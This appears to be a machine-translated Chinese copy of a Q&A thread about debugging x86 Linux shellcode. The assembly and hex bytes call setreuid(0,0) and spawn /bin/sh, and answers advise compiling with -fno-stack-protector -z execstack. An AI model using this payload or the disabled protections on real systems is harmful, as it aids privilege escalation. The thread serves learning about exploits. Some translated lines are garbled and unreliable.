我怎样才能把它变成shellcode?
好吧,我写了一个生成shell的ASM文件。我怎样才能把它变成shellcode?
然而,.text段变为“READONLY”,所以我让一切都在.data段。当我用NASM和ld编译它时,它完美地工作。然后,当我使用shellcode并在C程序中运行它时,我会发生故障。
ASM:
SECTION .data
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 70d
int 80h
jmp jump
rev:
pop ebx
xor eax, eax
mov BYTE [ebx+7], al
mov DWORD [ebx+8], ebx
mov DWORD [ebx+12], eax
mov al, 11d
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 80h
jump:
call rev
shell: db "/bin/sh011112222"
当我编译:
nasm -f elf32 -o temporary_file.o
ld -s -m elf_i386 -o shell temporary_file.o
一切完美的作品。我可以./shell和一个shell产生。然而,当我使用:
objdump的-D壳(objdump的-d壳不显示.data段)
和更改成\ X ??格式,我无法执行shell。 的Shellcode:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x31\x31\x31\x31\x32\x32\x32\x32
和C档:
#include <stdio.h>
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";
int main(){
printf("[~] Shellcode length (bytes): %d\n", strlen(shellcode));
((void(*)(void))shellcode)();
return 0;
}
赛格故障。
下面是NASM编译的文件的strace
输出的前几行:
[[email protected] tut]# strace ./exec
execve("./exec", ["./exec"], [/* 25 vars */]) = 0
[ Process PID=30445 runs in 32 bit mode. ]
setreuid(0, 0) = 0
execve("/bin/sh", ["/bin/sh"], [/* 3 vars */]) = 0
[ Process PID=30445 runs in 64 bit mode. ]
现在,这里是用的shellcode的C编译的文件的strace
输出:
[[email protected] tut]# strace ./shell
execve("./shell", ["./shell"], [/* 25 vars */]) = 0
brk(0) = 0x238b000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
在你的C程序,替换:
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";
与
unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31...";
否则GCC将其放在一个只读部分(与-S编译生成汇编,并采取看看节)
此外,您可能需要使用-fno-stack-protector -z execstack
编译它,以避免堆栈保护。
这是不可能的。
第一个问题:如果编译C程序作为64位程序不能用32位代码混合它。我假定你做到了。
,第二个:即使你编译C程序作为32位程序(你必须安装32位共享库,以便您可以运行它),你可以运行的程序。这是因为Linux的内存管理将通过设置MMU的NX位来禁止执行数据段中的代码。
这意味着:试图在一个字符串来执行代码(如你这样做)会导致段错误!
嗯......当我基本上擦除整个“rev”部分并将其替换为退出系统调用时,它在编译,更改时运行良好shellcode,放入C文件,编译并执行。 – Goodies
我会更新OP与strace的输出:) – Goodies
我想你混淆你的参数的execve?你在ebx中保存/ bin/sh的地址,并在ecx中保存该地址的地址? – ccKep
嗯,它仍然有效。这是令人困惑的部分。 ecx必须包含ebx的地址,而不是指针本身。 – Goodies